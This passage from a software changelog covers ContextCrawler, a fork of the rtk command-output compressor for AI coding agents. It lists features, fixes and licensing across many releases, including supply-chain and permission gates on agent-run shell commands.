{"action": "block"}) or the word "block" inside a description string no longer mis-route the verdict. Pretty-printed output also works. - web: DOM walk depth-capped.
extract_element_textnow bails atMAX_DOM_DEPTH = 256, preventing stack overflow on adversarial deeply-nested HTML. - rewrite_cmd: legacy bash-hook path now runs the supply-chain gate.
Previously only the modern
contextcrawler hook claudepath checked installs; the legacyrtk rewriteexit-code protocol skipped it. Coverage is now consistent across both hook entry points.
cache_file_rejects_traversal,mixed_editable_and_named_keeps_named_packages,osv_severity_extracts_from_database_specificregression tests.
gainno longer displays the literalrtkprefix on every row (it's identical across all entries — strip it at display time so the table stays useful). DB schema unchanged.
First public release. ContextCrawler is a downstream distribution of rtk-ai/rtk (v0.39.0) that brings the jee599/contextzip feature set forward to a current rtk base, plus an opt-in Tirith defense-in-depth gate and an in-tree supply-chain pre-install gate.
contextcrawler— single canonical CLI.--versionreadscontextcrawler ContextCrawler 0.1.0 (downstream of rtk 0.39.0).- Cargo package renamed from
rtktocontextcrawler. Source-levelrtkidentifiers retained (mod / use / struct names) to keep upstream rebase friction minimal.
- 9 minor versions of upstream rtk improvements: lexer-based compound-command splitter, permission-verdict system (deny / ask / allow / default with least-privilege default), new per-language modules (vitest, playwright, prisma, rake, rspec, rubocop, ...), additional agent hook integrations (codex, cursor, copilot VS Code, opencode, hermes, kilocode, antigravity, windsurf), and 60+ TOML filter configs.
contextcrawler web <url>— fetch a URL with curl and extract main content from HTML responses viascraper, stripping nav / ads / scripts. ~86% byte savings on real pages (e.g., rust-lang.org homepage: 18,686 → 2,513 bytes).- Multi-language stacktrace compression (Node.js, Python, Rust, Go, Java)
as a post-processor in
core/runner.rs. Detects framework frames and drops them, keeping user-code frames only. - Tirith pre-execution gate at the auto-allow rewrite boundary. When
tirithis installed, every rewrite that would receivepermissionDecision: "allow"is first run pasttirith check. Block-level findings downgrade the verdict to Ask so the user reviews the original command. Wired into both the legacyrewritepath and the moderncontextcrawler hook claudepath so coverage is consistent. Default fail-open; setCONTEXTCRAWLER_TIRITH_REQUIRED=1for fail-closed. contextcrawler securitysubcommand. Surfaces Tirith audit stats, gate mode, and shell-hook configuration status. Text and JSON output.contextcrawler security logsubcommand. Merged gate-activity log (Tirith downgrades + supply-chain events) sorted by timestamp.--limit N,--json, and--histogramfor at-a-glance bucketed counts by(source, category)with proportional bars.contextcrawler supply-chain check '<cmd>'— pre-install age and OSV CVE inspection fornpm/pnpm/yarnandpip/uv/poetry/pipxinstall commands. Wired into the auto-allow path so block reasons (age below cooldown, known CVE) downgrade to Ask. Honors pinned versions; 24h disk cache at~/.cache/contextcrawler/supply-chain/. Opt-in via~/.config/contextcrawler/supply-chain.toml.contextcrawler sessionssubcommand group for Claude Code session-JSONL compaction:contextcrawler sessions compact <id|path>— write a.compressedsidecar (also accepts--all-sessionsfor batch mode and--dry-run)contextcrawler sessions apply <id>— promote the sidecar to livecontextcrawler sessions expand <id>— roll back via.bak$CLAUDE_PROJECTS_DIRenv override for non-default session locations
- Sentinel-block discipline: every downstream addition to upstream-owned
files lives between
// ===== contextzip-downstream =====marker pairs. Reduces rebase conflict surface when upstream rtk moves.
- Full rename: Cargo package
rtk→contextcrawler. Binary, package name, and clapname = ...all match. Source-levelrtkmodule/use/ struct identifiers retained for upstream rebase compatibility. - Hook scripts (
hooks/claude/rtk-rewrite.sh,hooks/cursor/rtk-rewrite.sh,hooks/opencode/rtk.ts) updated to callcontextcrawlerinstead ofrtk. Filenames are kept (upstream-owned paths) to minimize rebase friction. - Upstream version-guard logic in the hook scripts replaced with a comment
— the guard parsed
rtk <ver>output, which doesn't match ContextCrawler's banner format. ContextCrawler always ships against a recent rtk core so the guard isn't load-bearing. - SPDX-License-Identifier headers added to all downstream-introduced source files with explicit upstream attribution.
build_cmdgeneric build-error grouper (was atjee599/contextzip/src/build_cmd.rs). Subsumed by rtk 0.39's per-language modules:cmds/js/tsc_cmd.rs,cmds/rust/cargo_cmd.rs,cmds/python/mypy_cmd.rs,cmds/js/lint_cmd.rs.- Telemetry scaffolding. ContextCrawler does not phone home.
- Self-update path. Update via
cargo installor rebuild from source. - Standalone
contextcrawler-sessioncrate (formerly undersession-compactor/). Its functionality is now folded into the main binary ascontextcrawler sessions {compact|apply|expand}.
- Upstream base: rtk-ai/rtk v0.39.0,
Apache-2.0 (per
LICENSE) / MIT (perCargo.toml). - Compactor + stacktrace + HTML modules originated in jee599/contextzip, MIT. Each carried-over file has a per-file SPDX header citing the upstream.
- Tirith, AGPL-3.0, invoked via subprocess only — no statically linked AGPL code.
The entries below originate from upstream rtk-ai/rtk and predate the ContextCrawler downstream. Preserved for attribution and context.
All notable changes to rtk (Rust Token Killer) will be documented in this file.
The format is based on Keep a Changelog, and this project adheres to Semantic Versioning.
0.39.0 (2026-05-06)
- cicd: match ":" for body prefix to catch (5987333)
- cicd: match allowed repo list in pr bodies (b1233ab)
- curl: gate force_tee_hint, extend JSON heuristic, avoid full-body alloc (2ed53c7)
- curl: JSON passthrough + IsTerminal gate to prevent invalid JSON output (02da3d0), closes #1536 #1282
- dotnet cmd test flakiness (17ffe62)
- git: address review feedback on status state surfacing (316e65e)
- git: compact in-progress status state (cff391e)
- git: drop state-hint extraction in compact status (e91dee5)
- git: surface in-progress state in compact
rtk git status(017d0f9) - grep: adjust the command to fall through if the output would already be as small as possible (09e1c0a)
- head/tail multi-file rewrite falls back to native command (#1362) (f75a10b)
- init-uninstall: uninstall removes --claude-md artifacts on Windows (d395f97)
- init-uninstall: uninstall removes --claude-md artifacts on Windows (aad0db8)
- json: expand char boundary truncation test (7840030)
- json: use char boundary when truncating long string values (533894a)
- ls: handle all file types (device, pipe, socket) in ls filter (e456be1)
- ls: handle device files (block, char, pipe, socket) in ls filter (cac8ce7), closes #844
- ls: LC_ALL=C + fallback to raw on unrecognized locale (bf6d4b2)
- pnpm: install don't take a list of packages (492aa76)
0.38.0 (2026-04-29)
- cicd: enforce cicd sast & package check (3bbbb49)
- gains: add --reset flag (e3149cb)
- glab: add GitLab CLI (glab) command support (048f2f9)
- glab: add GitLab CLI (glab) command support (bc31f3f), closes #851
- benchmark: benchmark capture all fd only stream (c590bd6)
- benchmark: capture all fd for stream cmd benchmark (e6c2523)
- benchmark: extract format_diff_changes + remove wrong diff test (e7ae6bf)
- cicd: : no semgrep alert on sh call cicd (7681daf)
- discover: also encode '_', '', and non-ASCII chars in project path slug (73a05c3), closes #1457
- discover: encode '.' as '-' in project path slug (2d031f3), closes #1457
- filters: benchmark ci update + fix stream + filter quality (137af04)
- filters: benchmark ci update + fix stream filter quality (88d9f6a)
- git: fix empty output when branch name contains '/' in git diff (e070226)
- git: fix empty output when branch name contains '/' in git diff (13188a8), closes #1431
- grep false negatives, output mangling, and truncation annotations (de41533)
- install: resolve version via redirect to avoid GitHub API rate limits (5e1a641)
- npm: regex match end line (5e84e94)
- npx: dispatch unknown tools to npx instead of npm (2c4569c), closes #815
- remove wrong cicd benchmark + npm test regex (7e3690a)
- stream: add semgrep flag for sh tests (7cfcdbe)
- stream: add semgrep flag for sh tests (d327724)
- stream: route to respective fd (605e335)
- stream: route to respective fd (81a1be6)
- tracking: test env path (70b36b4)
0.37.2 (2026-04-20)
- discover: exclude_commands bypass for env-prefix, sub cmd + regex (ca4c59c)
- discover: exclude_commands bypass for env-prefix, sub cmd + regex (42d3161)
- discover: word boundary in exclude_commands (0ea115b)
- docs: add missing docs for exclude commands patterns (2e401ac)
- hooks: add regression test for windows native (115e448)
- hooks: windows use 'rtk hook claude' no fallback (da3c432)
- hooks: windows use 'rtk hook claude' no fallback (0e29650)
- tests: windows regression test fix path (13a73dd)
0.37.1 (2026-04-18)
- docs: user facing docs (c8d6878)
0.37.0 (2026-04-17)
- discover: handle more npm/npx/pnpm/pnpx patterns (9e96caa)
- refacto-core: binary hook w/ native cmd exec + streaming (e7b7f9a)
- docs: use release please changelog no manual (7591a14)
- isolate cursor hook tests from local settings (determinist) (d8ddefe)
- P0+P1 fixes from pre-merge review of hook engine (df8e035)
- P0+P1 fixes from pre-merge review of hook engine (d34389c)
- rename ship.md to ship/SKILL.md to match develop (5916ecd)
- runner: preserve fd separation on command failure (e92d099)
- stream: missing stderr fields (a1d46f3)
0.36.0 (2026-04-13)
- benchmark: add multipass VM integration test suite (6e7863b)
- benchmark: add multipass VM integration test suite (d22759b)
- benchmark: add Swift ecosystem tests (6 commands + savings) (1fbb6d9)
- init: add native support for Kilo Code and Google Antigravity (d0a3797)
- init: add support for kilocode and antigravity agents (66b90f1)
- pnpm: Add filter argument support (2ba8d37)
- skills: add /pr-review skill for batch PR review (21e67a1)
- telemetry: enrich daily ping with gap detection and quality metrics (644c50f)
- benchmark: address PR review feedback (87ee81f)
- benchmark: address review feedback from @FlorianBruniaux (d13c185)
- ccusage: add --yes flag and warn when falling back to npx (f68fa00)
- clippy: show full error blocks instead of truncated headline (95d9d13)
- clippy: show full error blocks instead of truncated headline (f4074f8), closes #602
- curl: skip JSON schema conversion for internal/localhost URLs (577c311)
- discover: preserve golangci-lint flags in rewrite (d85303e)
- docs: update TELEMETRY.md to match code after review fixes (be5c057)
- find: include hidden files when pattern targets dotfiles (#1101) (dbeeaed)
- git: re-insert -- separator when clap consumes it from git diff args (#1215) (9979c69)
- git: remove -u short alias from --ultra-compact to fix git push -u (6b76fdb)
- golangci-lint: restore run wrapper and align guidance (4f4e4d2)
- golangci-lint: support inline global flags before run (24f2ada)
- go: prevent double-counted failures when test-level fail also triggers package-level fail (#958) (4fc15ef)
- go: prevent double-counting failures when package-level fail cascades from test failures (#958) (9722d5e)
- hooks: ensure default permission verdict prompts user for confirmation (40462c0)
- hooks: require all segments to match allow rules (#1213) (40c9dbc)
- init: honor CODEX_HOME for Codex global paths (d442799)
- init: install Codex global instructions in CODEX_HOME (a257688)
- json: rename --schema to --keys-only, closes #621 (c16713a)
- ls: filter quality wrong truncation (aa6317f)
- permissions: glob_matches middle-wildcard matches commands without trailing args (#1105) (3db8070)
- pnpm: list command not working (ba235d8)
- pytest: -q mode summary line not detected (57502a5)
- report package-level failures (timeouts, signals) in go test summary (0b1c32b)
- report package-level failures (timeouts, signals) in go test summary (c85a387), closes #958
- security: correct email domain from .dev to .app (47383e8)
- tee: prevent panic on UTF-8 multi-byte truncation boundary (da486bf)
- telemetry: 7 bugs in enrichment — privacy leak, broken meta_usage, pricing (15f666d)
- telemetry: clean code (8156081)
- telemetry: consent, erasure, auth, docs (2e4cc4b)
- telemetry: non-terminal consent, single config load (7821e98)
- telemetry: RGPD-compliant, consent gate, erasure, privacy controls (6a5bc84)
0.35.0 (2026-04-06)
- aws: expand CLI filters from 8 to 25 subcommands (402c48e)
- cmd: read/cat multiple file and consistent behavior (3f58018)
- docs: clean some docs + disclaimer (deda44f)
- gh: pass through gh pr merge instead of canned response (#938) (8465ca9)
- gh: pass through gh pr merge instead of canned response (#938) (e1f2845)
- git: inherit stdin for commit and push to preserve SSH signing (#733) (eefeae4)
- git: inherit stdin for commit and push to preserve SSH signing (#733) (6cee6c6)
- git: preserve full diff hunk headers (62f4452)
- git: preserve full diff hunk headers (09b3ff9)
- go: avoid false build errors from download logs (9c1cf2f)
- go: avoid false build errors from download logs (d44fd3e)
- go: cover more build failure shapes (2425ad6)
- go: preserve failing test location context (1481bc5)
- go: preserve failing test location context (374fe64)
- go: restore build error coverage (1177c9c)
- grep: close subprocess stdin to prevent memory leak (#897) (7217562)
- grep: close subprocess stdin to prevent memory leak (#897) (09979cf)
- hook_check: detect missing integrations (9cf9ccc)
- init: remove opt-out instruction from telemetry message (7571c8e)
- init: remove telemetry info lines from init output (7dbef2c)
- main: kill zombie processes + path for rtk md (d16fc6d)
- main: kill zombie processes + path for rtk md + missing intergrations (a919335)
- merge: changelog conflicts (d92c5d2)
- proxy: kill child process on SIGINT/SIGTERM to prevent orphans (d813919)
- proxy: kill child process on SIGINT/SIGTERM to prevent orphans (3318510)
- review: address ChildGuard disarm, stdin dedup, hook masking (d85fe33)
- security: default to ask when no permission rule matches (#886) (158c745)
- security: default to ask when no permission rule matches (#886) (41a6c6b)
- tracking: use std::env::temp_dir() for compatibility (instead of unix tmp) (e918661)
- git: remove
-ushort alias from--ultra-compactto fixgit push -uupstream tracking (#1086)
0.35.0 (2026-04-06)
- aws: expand CLI filters from 8 to 25 subcommands (402c48e)
- cmd: read/cat multiple file and consistent behavior (3f58018)
- docs: clean some docs + disclaimer (deda44f)
- gh: pass through gh pr merge instead of canned response (#938) (8465ca9)
- gh: pass through gh pr merge instead of canned response (#938) (e1f2845)
- git: inherit stdin for commit and push to preserve SSH signing (#733) (eefeae4)
- git: inherit stdin for commit and push to preserve SSH signing (#733) (6cee6c6)
- git: preserve full diff hunk headers (62f4452)
- git: preserve full diff hunk headers (09b3ff9)
- go: avoid false build errors from download logs (9c1cf2f)
- go: avoid false build errors from download logs (d44fd3e)
- go: cover more build failure shapes (2425ad6)
- go: preserve failing test location context (1481bc5)
- go: preserve failing test location context (374fe64)
- go: restore build error coverage (1177c9c)
- grep: close subprocess stdin to prevent memory leak (#897) (7217562)
- grep: close subprocess stdin to prevent memory leak (#897) (09979cf)
- hook_check: detect missing integrations (9cf9ccc)
- init: remove opt-out instruction from telemetry message (7571c8e)
- init: remove telemetry info lines from init output (7dbef2c)
- main: kill zombie processes + path for rtk md (d16fc6d)
- main: kill zombie processes + path for rtk md + missing intergrations (a919335)
- merge: changelog conflicts (d92c5d2)
- proxy: kill child process on SIGINT/SIGTERM to prevent orphans (d813919)
- proxy: kill child process on SIGINT/SIGTERM to prevent orphans (3318510)
- review: address ChildGuard disarm, stdin dedup, hook masking (d85fe33)
- security: default to ask when no permission rule matches (#886) (158c745)
- security: default to ask when no permission rule matches (#886) (41a6c6b)
- tracking: use std::env::temp_dir() for compatibility (instead of unix tmp) (e918661)
- aws: expand CLI filters from 8 to 25 subcommands — CloudWatch Logs, CloudFormation events, Lambda, IAM, DynamoDB (with type unwrapping), ECS tasks, EC2 security groups, S3API objects, S3 sync/cp, EKS, SQS, Secrets Manager (#885)
- aws: add shared runner
run_aws_filtered()eliminating per-handler boilerplate - tee: add
force_tee_hint()— truncated output saves full data to file with recovery hint
0.34.3 (2026-04-02)
- automod: add auto discovery for cmds (234909d)
- ci: fix validate-docs.sh broken module count check (bbe3da6)
- cleaning: constant extract (aabc016)
- cmds: migrate remaining exit_code to exit_code_from_output (ba9fa34)
- cmds: more covering for run_filtered (e48485a)
- docs: add documentation (2f7278a)
- docs: add maintainers docs (14265b4)
- refacto-p1: unified cmds execution flow (+ rm dead code) (75bd607)
- refacto-p2: more standardize (47a76ea)
- refacto-p2: more standardize (92c671a)
- refacto: wrappers for standardization, exit codes lexer tokenizer, constants, code clean (bff0258)
- registry: quoted env prefix + inline regex cleanup + routing docs (f3217a4)
- review: address PR #910 review feedback (0a8b8fd)
- review: PR #934 (5bd35a3)
- review: PR #934 (bae7930)
- rules: add wc RtkRule with pattern field for develop compat (d75e864)
- standardize: git+kube sub wrappers run_filtered (7fd221f)
- standardize: merge pattern into rues (08aabb9)
0.34.2 (2026-03-30)
0.34.1 (2026-03-28)
- security: missing toml pkg (51f9c88)
- security: salt device hash for telemetry (32fdbbb)
- security: set 0600 permissions on salt file (5eae11d)
- telemetry: cache salt in-process (22dc059)
- telemetry: docs + real info from "rtk init -g" (33195cc)
- telemetry: hash + salt (92996b1)
0.34.0 (2026-03-26)
- diff: correct truncation overflow count in condense_unified_diff (5399f83)
- diff: never truncate diff content — show all changes in full (80fc29a), closes #827
- git: replace vague truncation markers with exact counts (185fb97)
- merge: resolve conflict with develop in diff_cmd.rs (6a5ae14)
- read: default to no filtering — show full file content (5e0f3ba), closes #822
- read: detect binary files and prevent empty output on filter failure (8886c14), closes #822
- rewrite swift test commands (599ad25)
- truncation accuracy + Copilot init + binary file detection (966bcbe)
- truncation: accurate overflow counts and omission indicators (58a9633)
- wc:
wcfilter was never invoked by the hook — removed"wc "fromIGNORED_PREFIXESand added registry entry sowccommands are rewritten tortk wc - diff: correct truncation overflow count in condense_unified_diff (#833) (5399f83)
- git: replace vague truncation markers with exact counts in log and grep output (#833) (185fb97)
0.33.1 (2026-03-25)
- cicd: dev- prefix for pre-release tags (522bd64)
- cicd: use dev- prefix for pre-release tags (9c21275)
- cicd: use dev- prefix for pre-release tags to avoid polluting release-please (32c67e0)
- hook security + stderr redirects + version bump (#807) (0649e97)
- hook: respect Claude Code deny/ask permission rules on rewrite (a051a6f)
- strip trailing stderr redirects before rewrite matching (#530) (edd9c02)
- strip trailing stderr redirects before rewrite matching (#530) (36a6f48)
0.33.0-rc.54 (2026-03-24)
- add telemetry documentation and init notice (#640) (#788) (0eecee5)
- cargo: preserve test compile diagnostics (97b6878)
- cicd: explicit fetch tag (3b94b60)
- cicd: gete release like tag for pre-release (53bc81e)
- cicd: issue 668 - pre release tag (200af43)
- cicd: missing doc (8657494)
- cicd: pre-release correct tag (1536667)
- dotnet: TRX injection for Microsoft.Testing.Platform projects (8eefef1)
- formatter: show full error message for test failures (#690) (dc6b026)
- formatter: show full error message for test failures (#690) (f7b09fc)
- gh: passthrough --comments flag in issue/pr view (75cd223)
- gh: passthrough --comments flag in issue/pr view (fdeb09f), closes #720
- gh: skip compact_diff for --name-only/--stat flags in pr diff (2ef0690), closes #730
- gh: skip compact_diff for --name-only/--stat in pr diff (c576249)
- golangci-lint: add v2 compatibility with runtime version detection (95a4961)
- golangci: use resolved_command for version detection, move test fixture to file (6aa5e90)
- increase signal in git diff, git log, and json filters (#621) (#708) (4edc3fc)
- playwright: add tee_and_hint pass-through on failure (#690) (b4ccf04)
- preserve cargo test compile diagnostics (15d5beb)
- ruby: use rails test for positional file args in rtk rake (ec92c43)
- ruby: use rails test for positional file args in rtk rake (138e914)
- update Discord invite link (#711) (#786) (af56573)
- hook: respect Claude Code deny/ask permission rules on rewrite — hook now checks settings.json before rewriting commands, preventing bypass of user-configured deny/ask permissions
- git: replace symbol prefixes (
* branch,+ Staged:,~ Modified:,? Untracked:) with plain lowercase labels (branch:,staged:,modified:,untracked:) in git status output - ruby: use
rails testinstead ofrake testwhen positional file args are passed —rake testignores positional files and only supportsTEST=path
- ruby: add RSpec test runner filter with JSON parsing and text fallback (60%+ reduction)
- ruby: add RuboCop linter filter with JSON parsing, grouped by cop/severity (60%+ reduction)
- ruby: add Minitest filter for
rake test/rails testwith state machine parser (85-90% reduction) - ruby: add TOML filter for
bundle install/update— stripUsinglines (90%+ reduction) - ruby: add
ruby_exec()shared utility for auto-detectingbundle execwhen Gemfile exists - ruby: add discover/rewrite rules for rake, rails, rspec, rubocop, and bundle commands
- cargo: preserve compile diagnostics when
cargo testfails before any test suites run
0.31.0 (2026-03-19)
0.30.1 (2026-03-18)
0.30.0 (2026-03-16)
- add rtk session command for adoption overview (be67d66)
- add rtk session command for adoption overview (12d44c4), closes #487
- add worktree slash commands for isolated development (#364) (ab83e79)
- Claude Code tooling — 2 agents, 7 commands, 2 rules, 4 skills (#491) (7b7a5ae)
- 6 critical bugs — exit codes, unwrap, lazy regex (#626) (3005ebd)
- align 7 TOML filter tests with on_empty behavior (04ed6d8)
- align 7 TOML filter tests with on_empty behavior (9a499b9)
- cicd-docs: add agent reviewer + some contribute guidelines (de710f4)
- cicd-docs: some logs to understand what is happening when check docs (191ea9a)
- cicd: Clean cicd, rework depends and add pre-release (d24a765)
- cicd: Clean cicd, rework depends and add pre-release (6303e95)
- cicd: clippy - do not treat warn as error (5da5db2)
- failing context for doc analyze -> cat from files (c6b7db2)
- git log --oneline regression drops commits (#619) (8e85d67)
- improve adoption metric by detecting hook-rewritten commands (eb8a2c4)
- normalize binlogs CRLF (5344af9)
- preserve commit body in git log output (e189bbb)
- preserve first line of commit body in git log output (c3416eb)
- remove version check from validate-docs CI (#476) (#543) (6e61c24)
- split chained commands in adoption metric (127f85c)
- support git -C <path> in rewrite registry (c916bab), closes #555
- test-all.sh aborts when gt not installed (#500) (#544) (26f5473)
- trust boundary followup — TOML key typo + missing meta commands (#625) (8d8e188)
- windows path fix for git tests (0a904e2)
0.29.0 (2026-03-12)
0.28.2 (2026-03-10)
0.28.1 (2026-03-10)
- 4 critical bugs + telemetry enrichment (#462) (7d76af8)
- restore lost telemetry install_method enrichment (#469) (0c5cde9)
0.28.0 (2026-03-10)
- gt: add Graphite CLI support (#290) (7fbc4ef)
- TOML Part 1 — filter DSL engine + 14 built-in filters (#349) (adda253)
- TOML Part 2 — user-global config, shadow warning, rtk init templates, 4 new built-in filters (#351) (926e6a0)
- TOML Part 3 — 15 additional built-in filters (ping, rsync, dotnet, swift, shellcheck, hadolint, poetry, composer, brew, df, ps, systemctl, yamllint, markdownlint, uv) (#386) (b71a8d2)
0.27.2 (2026-03-06)
- gh pr edit/comment pass correct subcommand to gh (#332) (799f085)
- pass through -R/--repo flag in gh view commands (#328) (0a1bcb0), closes #223
- reduce gh diff / git diff / gh api truncation (#354) (#370) (e356c12)
- strip npx/bunx/pnpm prefixes in lint linter detection (#186) (#366) (27b35d8)
0.27.1 (2026-03-06)
- only rewrite docker compose ps/logs/build, skip unsupported subcommands (#336) (#363) (dbc9503)
- preserve -- separator for cargo commands and silence fallback (#326) (45f9344), closes #286 #287
- prettier false positive when not installed (#221) (#359) (85b0b3e)
- support git commit -am, --amend and other flags (#327) (#360) (409aed6)
0.27.0 (2026-03-05)
- bugs #196 #344 #345 #346 #347 — gh --json, hook check, RTK_DISABLED, 2>&1, json TOML (8953af0)
- RTK_DISABLED ignored, 2>&1 broken, json TOML error (#345, #346, #347) (6c13d23)
- skip rewrite for gh --json/--jq/--template (#196) (079ee9a)
0.26.0 (2026-03-05)
- add Claude Code skills for PR and issue triage (#343) (6ad6ffe)
- anonymous telemetry ping (1/day, opt-out) (#334) (baff6a2)
- toml-dsl: declarative TOML filter engine — add command filters without writing Rust (#299)
- 8 primitives:
strip_ansi,replace,match_output,strip/keep_lines_matching,truncate_lines_at,head/tail_lines,max_lines,on_empty - lookup chain:
.rtk/filters.toml(project-local) →~/.config/rtk/filters.toml(user-global) → built-in filters RTK_NO_TOML=1bypass,RTK_TOML_DEBUG=1debug mode- shadow warning when a TOML filter's match_command overlaps a Rust-handled command
rtk initgenerates commented filter templates at both project and global levelrtk verifycommand with--require-allfor inline test validation- 18 built-in filters:
tofu-plan/init/validate/fmt(#240),du(#284),fail2ban-client(#281),iptables(#282),mix-format/compile(#310),shopify-theme(#280),pio-run(#231),mvn-build(#338),pre-commit,helm,gcloud,ansible-playbook
- 8 primitives:
- hooks:
exclude_commandsconfig — exclude specific commands from auto-rewrite (#243)
- cargo clippy: include actionable error details in compact output instead of summary-only counts (#602)
- curl: skip JSON schema replacement when schema is larger than original payload (#297)
- init:
rtk init -g --uninstallnow removes<!-- rtk-instructions -->block from CLAUDE.md (#384) - toml-dsl: fix regex overmatch on
tofu-plan/init/validate/fmtandmix-format/compile— add(\s|$)word boundary to prevent matching subcommands (e.g.tofu planet,mix formats) (#349) - toml-dsl: remove 3 dead built-in filters (
docker-inspect,docker-compose-ps,pnpm-build) — Clap routes these commands beforerun_fallback, so the TOML filters never fire (#351) - toml-dsl:
uv-sync— removeResolvedshort-circuit; it fires before the package list is printed, hiding installed packages (#386) - toml-dsl:
dotnet-build— short-circuit only when both warning and error counts are zero; builds with warnings now pass through (#386) - toml-dsl:
poetry-install— support Poetry 2.x bullet syntax (•) andNo changes.up-to-date message (#386) - toml-dsl:
ping— add Windows format support (Pingingheader,Reply fromper-packet lines) (#386)
0.25.0 (2026-03-05)
Hook must be updated after upgrading (rtk init --global).
The Claude Code hook is now a thin delegator: all rewrite logic lives in the
rtk rewrite command (single source of truth). The old hook embedded the full
if-else mapping inline — it still works after upgrading, but won't pick up new
commands automatically.
Upgrade path:
cargo install rtk # upgrade binary
rtk init --global # replace old hook with thin delegatorRunning rtk init without --global updates the project-level hook only.
Users who skip this step keep the old hook working as before — no immediate
breakage, but future rule additions won't take effect until they migrate.
- rewrite: add
rtk rewritecommand — single source of truth for hook rewrites (#241)- New
src/discover/registry.rshandles all command → RTK mapping - Hook reduced to ~50 lines (thin delegator), no duplicate logic
- New commands automatically available in hook without hook file changes
- Supports compound commands (
&&,||,;,|,&) and env prefixes
- New
- discover: extract rules/patterns into
src/discover/rules.rs— adding a command now means editing one file only - fix: add
awsandpsqlto rewrite registry (were missing despite modules existing since 0.24.0)
- +48 regression tests covering all command categories: aws, psql, Python, Go, JS/TS, compound operators, sudo/env prefixes, registry invariants (607 total, was 559)
- +5 tests for uninstall
--claude-mdartifact cleanup (614 total)
0.24.0 (2026-03-04)
- add AWS CLI and psql modules with token-optimized output (#216) (b934466)
- passthrough fallback when Clap parse fails + review fixes (#200) (772b501)
- security: add SHA-256 hook integrity verification (f2caca3)
- git: propagate exit codes in push/pull/fetch/stash/worktree (#234) (5cfaecc)
- playwright: fix JSON parser to match real Playwright output format (#193) (4eb6cf4)
- support additional git global options (--no-pager, --no-optional-locks, --bare, --literal-pathspecs) (68ca712)
- support git global options (-C, -c, --git-dir, --work-tree, --no-pager, --no-optional-locks, --bare, --literal-pathspecs) (a6ccefe)
- support git global options (-C, -c, --git-dir, --work-tree) (982084e)
- update version refs to 0.23.0, module count to 51, fmt upstream files (eed0188)
0.23.0 (2026-02-28)
- add mypy command with grouped error output (#109) (e8ef341)
- gain: add per-project token savings with -p flag (#128) (2b550ee)
- eliminate duplicate output when grep-ing function names from git show (#248) (a6f65f1)
- filter docker compose hook rewrites to supported subcommands (#245) (dbbf980), closes #244
- registry: "fi" in IGNORED_PREFIXES shadows find commands (#246) (48965c8)
- remove personal preferences from project CLAUDE.md (3a8044e)
- remove personal preferences from project CLAUDE.md (d362ad0)
- remove remaining personal project reference from CLAUDE.md (5b59700)
- remove remaining personal project reference from CLAUDE.md (dc09265)
- surface build failures in go test summary (#274) (b405e48)
0.22.2 (2026-02-20)
- grep: accept -n flag for grep/rg compatibility (7d561cc)
- playwright: fix JSON parser and binary resolution (#215) (461856c)
- propagate rg exit code in rtk grep for CLI parity (#227) (f1be885), closes #162
0.22.1 (2026-02-19)
- git branch creation silently swallowed by list mode (#194) (88dc752)
- git: support multiple -m flags in git commit (292225f)
- git: support multiple -m flags in git commit (c18553a)
- grep: translate BRE | alternation and strip -r flag for rg (#206) (70d1b04)
- propagate linter exit code in rtk lint (#207) (8e826fc), closes #185
- smart markdown body filter for gh issue/pr view (#188) (#214) (4208015)
0.22.0 (2026-02-18)
0.21.1 (2026-02-17)
0.21.0 (2026-02-17)
0.20.1 (2026-02-17)
0.20.0 (2026-02-16)
0.19.0 (2026-02-16)
0.18.1 (2026-02-15)
- update ARCHITECTURE.md version to 0.18.0 (398cb08)
- update version references to 0.16.0 in README.md and CLAUDE.md (ec54833)
- update version references to 0.18.0 in docs (c73ed47)
0.18.0 (2026-02-15)
0.17.0 (2026-02-15)
- cargo: add cargo nextest support with failures-only output (#107) (68fd570)
- hook: handle global options before subcommands (#99) (7401f10)
0.16.0 (2026-02-14)
0.15.4 (2026-02-14)
- git: fix for issue #82 (04e6bb0)
- git: Returns "Not a git repository" when git status is executed in a non-repo folder #82 (d4cb2c0)
0.15.3 (2026-02-13)
0.15.2 (2026-02-13)
0.15.1 (2026-02-12)
- improve CI reliability and hook coverage (#95) (ac80bfa)
- vitest: robust JSON extraction for pnpm/dotenv prefixes (#92) (e5adba8)
0.15.0 (2026-02-12)
- add Python and Go support (#88) (a005bb1)
- cargo: aggregate test output into single line (#83) (#85) (06b1049)
- make install-local.sh self-contained (#89) (b82ad16)
0.14.0 (2026-02-12)
- add website URL (rtk-ai.app) across project metadata (#81) (c84fa3c)
- update stale repo URLs from pszymkowiak/rtk to rtk-ai/rtk (#78) (55d010a)
0.13.1 (2026-02-12)
- ci: fix release artifacts not uploading (#73) (bb20b1e)
- ci: fix release workflow not uploading artifacts to GitHub releases (bd76b36)
0.13.0 (2026-02-12)
0.12.0 (2026-02-09)
- cargo: add
cargo installfiltering with 80-90% token reduction (645a773), closes #69 - cargo: add cargo install filtering (447002f)
0.11.0 (2026-02-07)
- init: auto-patch settings.json for frictionless hook installation (2db7197)
- settings.json auto-patch for frictionless hook installation
- Default
rtk init -gnow prompts to patch settings.json [y/N] --auto-patch: Patch immediately without prompting (CI/CD workflows)--no-patch: Skip patching, print manual instructions instead- Automatic backup: creates
settings.json.bakbefore modification - Idempotent: detects existing hook, skips modification if present
rtk init --shownow displays settings.json status
- Default
- Uninstall command for complete RTK removal
rtk init -g --uninstallremoves hook, RTK.md, CLAUDE.md reference, and settings.json entry- Restores clean state for fresh installation or testing
- Improved error handling with detailed context messages
- All error messages now include file paths and actionable hints
- UTF-8 validation for hook paths
- Disk space hints on write failures
- Refactored
insert_hook_entry()to use idiomatic Rustentry()API - Simplified
hook_already_present()logic with iterator chains - Improved atomic write error messages for better debugging
0.10.0 (2026-02-07)
- Hook-first installation with 99.5% token reduction (e7f80ad)
- init: refactor to hook-first with slim RTK.md (9620f66)
0.9.4 (2026-02-06)
- discover: add cargo check support, wire RtkStatus::Passthrough, enhance rtk init (d5f8a94)
0.9.3 (2026-02-06)
- P0 crashes + cargo check + dedup utilities + discover status (05078ff)
- P0 crashes + cargo check + dedup utilities + discover status (60d2d25)
0.9.2 (2026-02-05)
- git: accept native git flags in add command (including -A) (2ade8fe)
- git: accept native git flags in add command (including -A) (40e7ead)
0.9.1 (2026-02-04)
- tsc: show every TypeScript error instead of collapsing by code (3df8ce5)
- tsc: show every TypeScript error instead of collapsing by code (67e8de8)
0.9.0 (2026-02-03)
- add rtk tree + fix rtk ls + audit phase 1-2 (278cc57)
- audit phase 3 + tracking validation + rtk learn (7975624)
- git: add fallback passthrough for unsupported subcommands (32bbd02)
